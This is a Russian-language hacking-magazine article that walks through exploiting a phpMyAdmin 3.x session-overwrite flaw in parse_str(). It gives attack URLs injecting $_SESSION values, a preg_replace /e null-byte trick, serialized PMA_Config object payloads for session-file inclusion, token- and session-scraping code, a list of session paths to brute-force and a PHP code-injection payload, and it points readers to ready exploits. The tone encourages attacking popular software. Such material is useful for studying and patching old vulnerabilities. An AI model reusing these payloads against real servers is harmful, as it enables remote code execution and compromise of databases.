|
Седьмого июля текущего года все продвинутое IT-сообщество всполошилось в
связи с появлением известия о том, что все последние версии дефолтного
MySQL-менеджера phpMyAdmin уязвимы к некой детской атаке, связанной с
неконтролируемой глобализацией переменных. Предлагаю тебе вместе со мной
окунуться в увлекательное исследование анатомии данной уязвимости.
Предыстория
Я надеюсь, что тебе не надо объяснять, что такое phpMyAdmin и с чем его едят,
поэтому перейдем сразу к его хладному трупу :). Седьмого июля некий буржуйский
багокопатель под ником Mango обнаружил следующее интересное место в коде движка:
./libraries/auth/swekey/swekey.auth.lib.php
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset);
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
Ты спросишь, что в этом коде такого интересного? Обрати внимание на функцию
parse_str(). В предыдущих выпусках журнала ты уже мог неоднократно прочитать о
том, что при определенных условиях из-за данной функции может возникнуть баг с
так называемой неконтролируемой глобализацией переменных. В данном случае такими
условиями являются:
- Отсутствие второго параметра в функции parse_str();
- Полный контроль удаленного пользователя над переменной $_SERVER[‘QUERY_STRING’]
(это то, что идет в ссылке после знака "?").
В первые несколько дней после обнаружения уязвимости никто не мог или не
хотел вникать в ее суть (в том числе и я). Данная ситуация была крайне забавной,
так как автор даже указал возможный вектор применения бага: перезапись
глобального массива $_SESSION, эффект от которой сохранится даже после
перезагрузки страницы.
В своем оригинальном сообщении Mango пишет, что при просмотре указанного выше
подозрительного кода может создаться впечатление, будто перезаписанная сессия
уничтожится. Но это не так. В данном случае функция session_write_close()
сохранит нашу перезаписанную сессию, а затем session_id() запустит новую сессию,
не имеющую ровным счетом ничего общего с нашей. Из-за такого переключения сессий
баг очень сложно было бы обнаружить с помощью обычного браузера, так как
session_start() пошлет нам новые куки и попросит забыть о модифицированной
сессии.
Пример инжекта произвольных переменных в сессию выглядит так:
http://pma/?session_to_unset=123&token=[ТОКЕН]&_SESSION[foo]=bar
Так как переменные сессии принимают участие во множестве мест движка,
теоретически может возникнуть куча XSS и SQL-дырок. Однако мы сфокусируемся на
нескольких наиболее серьезных векторах.
Первый вектор атаки
Для понимания первого вектора атаки мы должны пройтись по исходному коду
нескольких файлов. Сначала давай заглянем в код класса для автоматической
генерации конфига ./setup/lib/ConfigGenerator.class.php:
public static function getConfi gFile()
{
...
$c = $cf->getConfi g();
...
$ret = '<?php ' . $crlf
...
if ($cf->getServerCount() > 0) {
...
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id),
'*/', '-') . " [$id] */" . $crlf . '$i++;' . $crlf;
...
Теперь нам нужно разобраться в этой каше. Первым делом обрати внимание на то,
что данный код генерирует PHP-листинг с конфигом для phpMyAdmin. Здесь можно
заметить, что ключ массива $c[‘Servers’] (переменная $id) не фильтруется. Таким
образом, если мы сможем переименовать этот ключ в массиве, то сможем закрыть
комментарий и проинжектить произвольный код. Далее смотрим на функцию getConfig(),
с помощью которой и получается нужный нам массив $c:
./libraries/confi g/Confi gFile.class.php
public function getConfi g()
{
$c = $_SESSION[$this->id];
...
return $c;
}
Бинго! Переменная $c полностью зависит от массива $_SESSION, который, как ты
уже понял, находится под нашим контролем! Теперь мы легко сможем инжектнуть
произвольный PHP-код, который будет сохранен в файл ./config/config.inc.php.
В данном способе эксплуатации нет никаких ограничений (вроде авторизации или
обязательного отключения magic_quotes_gpc). Омрачает ситуацию лишь один факт —
папка ./config не является дефолтной для движка, так что попасть в точку ты
сможешь лишь один раз из ста.
Второй вектор атаки
Второй способ уже не зависит от наличия папки ./config на сервере. Зато
появляются две другие зависимости: magic_quotes_gpc = On и наличие логина и
пароля к любой из баз данных текущего mysql-сервера.
Начинаем потрошение исходников:
./server_synchronize.php
...
$trg_db = $_SESSION['trg_db'];
...
$uncommon_tables = $_SESSION['uncommon_tables'];
...
PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, $uncommon_tables,
$uncommon_table_structure_diff[$s], $uncommon_tables_fi elds, false);
Смотрим на функцию PMA_createTargetTables:
./libraries/server_synchronize.lib.php
function PMA_createTargetTables($src_db, $trg_db, $src_link, $trg_link, &$uncommon_tables,
$table_index, &$uncommon_tables_fi elds, $display)
{
...
$Create_Table_Query = preg_replace('/'. PMA_backquote($uncommon_tables[$table_index])
.'/', PMA_backquote($trg_db) . '.' .PMA_backquote($uncommon_tables[$table_index]),
$Create_Query, $limit = 1);
...
Если ты внимательно следил за руками, то должен был заметить, что переменные
$uncommon_tables[$table_index] и $trg_db переходят в функцию preg_replace()
прямиком из массива $_SESSION. Так как я более чем уверен, что ты наслышан об
одном из самых распространенных багов в PHP-движках — выполнении произвольного
кода в preg_replace() с модификатором "e" (eval), перейдем сразу к делу. В
данном случае мы можем проинжектить модификатор "e" в первый параметр уязвимой
функции с помощью банального нуллбайта примерно так: (.+)/e%00. Все, что идет
после нуллбайта, сразу же отпадет, и компилятор не будет ругаться на неправильно
построенную регулярку :). Дабы не засорять страницы журнала килобайтами кода,
демонстрирующего работоспособность этого и предыдущего способов эксплуатации
нашего бага, я заботливо положил на наш
диск соответствующие эксплоиты, с которыми и советую тебе ознакомиться.
Кстати, известный Suhosin patch от Стефана Эссера успешно закрывает багу с
нуллбайтом и модификатором "e", так что здесь мы получаем еще одно суровое
ограничение.
Тепличные эксплоиты
Теперь небольшое лирическое отступление. Уязвимость с перезаписью глобальных
переменных сама по себе не является чем-то фатальным. Здесь нужно найти
какой-либо вектор эксплуатации с любой из перезаписанных переменных. Это может
не всегда получиться. В данном случае Mango нашел сразу два таких вектора, но
эксплоиты по их мотивам получились крайне тепличными, необходимость авторизации
и наличия недефолтной директории для успешного использования бага не давали нам
ничего на практике.
Как ты уже понял, такая ситуация крайне меня не устраивала, поэтому после
появления первых PoC я решил провести самостоятельное расследование. Здесь как
нельзя кстати под руку подвернулся классный прошлогодний баг Стефана Эссера под
названием "PHP Session Serializer Session Data Injection Vulnerability", который
очень хорошо согласовывался с уязвимостью в unserialize() и "волшебных методах"
PHP (ссылки на соответствующие статьи из прошлых номеров нашего журнала ищи в
сносках).
Уязвимость в сессиях
Итак, остановимся немного подробней на вышеобозначенной уязвимости. По
дефолту PHP-десериализатор сессий знает два специальных символа: PS_DELIMITER и
PS_UNDEF_MARKER. Первый юзается для разделения сохраненных в сессии переменных,
а второй маркирует неопределенные переменные и представляет собой обычный
восклицательный знак. Заглянем в исходники PHP:
while (p < endptr) {
zval **tmp;
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) goto
break_outer_loop;
}
if (p[0] == PS_UNDEF_MARKER) {
p++;
has_value = 0;
} else {
has_value = 1;
}
Проблема этого кода заключается в том, что сериализатор сессии корректно
обрабатывает только символ PS_DELIMITER и забивает большой болт на
PS_UNDEF_MARKER.
В результате своего исследования Стефан Эссер нашел способ внедрения
произвольных данных (если быть точнее: строк, чисел, массивов и объектов) в
сессию с помощью ключа массива $_SESSION, начинающегося с символа
PS_UNDEF_MARKER. Примеры уязвимого к данной атаке кода выглядят так:
<?php
session_start();
$_SESSION[$_POST['prefi x'] . 'bla'] = $_POST['data'];
?>
и
<?php
session_start();
$_SESSION = array_merge($_SESSION, $_POST);
?>
Эксплуатация здесь выглядит крайне тривиально: посылаем POST-запрос prefi x=!
и data=|xxx|O:10:"evilObject":0:{}.
В результате получаем инжект сериализованного объекта прямиком в сессии. Не
забывай, что данное внедрение аналогично внедрению в функцию unserialize().
Вспоминая молодость
Если ты внимательно следишь за нашим журналом, то должен помнить, что в тех
же статьях про "волшебные
методы" я описывал классный способ эксплуатации бага с десериализацией во
второй ветке phpMyAdmin. Тогда авторы поступили не совсем логично. Сама уязвимая
функция unserialize(), конечно же, была убрана из исходников движка, зато
полезный нам код в функции __wakeup() остался во всей третьей ветке совершенно
нетронутым.
Теперь осталось только вспомнить механизм действия старого эксплоита,
применить новые фишки и запилить новый убойный эксплоит. Итак, старый код для
эксплуатации выглядел примерно следующим образом:
http://site.com/phpMyAdmin/scripts/setup.php? action=lay_navigation&eoltype=unix&token=[ТОКЕН]&
configuration=a:1:{i:0;O:10:"PMA_Confi g":1: {s:6:"source";s:[ДЛИНА_ПУТИ]:"[ПУТЬ_К_FTP_С_ИНЖЕКТОМ]";}}
Здесь мы получали классический RFI-баг, омрачавшийся лишь проверкой на
локальность с помощью мерзопакостной функции file_exists(), которая, впрочем,
легко обходилась с помощью указания файла на любом доступном FTP-сервере.
Не буду глубоко вдаваться в подробности (советую прямо сейчас прочитать
соответствующие статьи по ссылкам в сносках), а скажу лишь, что со временем
ребята с rdot.org нашли способ работы данного сплоита без FTP с помощью инжекта
прямо в файл сессии. Таким образом, наш unserialize()-эксплоит становился
универсальным для всех версий phpMyAdmin < 3.
Links
Новая жизнь старых багов
Намотав на ус вышеописанную информацию, ты, наверное, уже понял, что теперь
мы приступим к написанию универсального эксплоита для phpMyAdmin всей третьей
ветки :). Сначала нам нужно узнать токен, с помощью которого движок проверяет
валидность запросов (только с помощью валидного токена мы сможем сохранить в
сессию произвольные данные). Делается это достаточно просто:
1. Заходим на главную phpMyadmin;
2. Парсим токен из HTML-исходника страницы, например, так:
preg_match( '@name="token" value="([a-f0-9]{32})"@is',$page,$to);
$token = $to[1];
3. Таким же образом и с той же главной страницы парсим кукисы с
идентификатором текущей сессии:
preg_match( '@phpMyAdmin=([a-z0-9]{32,40});?@is',$page,$se);
$session = $se[1];
4. Теперь пытаемся узнать текущий путь к папке с сессиями для
успешного инклуда. Делается это с помощью простейшего цикла while и списка
наиболее популярных мест в системе:
$sess_path = array(
'/tmp/',
'/var/tmp/',
'/var/lib/php/',
'/var/lib/php4/',
'/var/lib/php5/',
'/var/lib/php/session/',
'/var/lib/php4/session/',
'/var/lib/php5/session/',
...
Сам запрос для проверки на корректный инклуд в цикле выглядит примерно так:
$inj = $sess_path[$o].'sess_'.$session;
$query = $pma.'?session_to_unset=123&token='. $token.'&_SESSION[!bla]='.urlencode(
'|xxx|a:1:{i:0;O:10:"PMA_Confi g":1:{s:6:"source";s:'. strlen($inj).':"'.$inj.'";}}');
Здесь: $sess_path[$o] — это каждый путь из массива $sess_path по порядку, $session
— полученный выше идентификатор сессии, $pma — путь к движку, $token —
полученный выше токен. Запрос $query следует посылать два раза: в первый раз
происходит сам инжект, а во второй — проверка корректности пути к сессии. Если
путь правильный, произойдет успешный инклуд, и мы увидим на экране содержимое
файла сессии. Отследить инклуд можно по ключевому слову "PMA_Config". После
успешного инклуда ты можешь спокойно внедрять свой PHP-код. Внедрение можно
произвести с помощью все того же бага с переопределением глобальных переменных:
&_SESSION[payload]=<?php phpinfo(); ?>
Наша переменная payload попадает в файл сессии, после чего мы вполне сможем
выполнить код при помощи описываемого RFI. Готовый эксплоит с сессиями ты также
сможешь найти на нашем диске. Здесь хочу заметить, что, хотя данный способ и
является более универсальным, чем способы Mango, он тоже несколько ограничен:
magic_quotes_gpc = off и PHP <= 5.2.13 & PHP <= 5.3.2. Данные ограничения все же
ничто по сравнению с необходимостью наличия нестандартной открытой на запись
папки на сервере.
Злоключение
Как видишь, любой когда-либо обнаруженный баг может еще вернуться и нанести
свой удар по известнейшим программным продуктам. Особенно доставляет в данной
ситуации тот факт, что наконец-то нашлось практическое применение для бага с
сессиями Стефана Эссера (пока что в паблике не было ни одного PoC по теме). Тебе
же я могу посоветовать никогда не смотреть на крутость и известность движка, а
просто брать и потрошить его :).
Warning
Ни автор, ни редакция не несут никакой ответственности за любой возможный
вред, причиненный материалами данной статьи.
|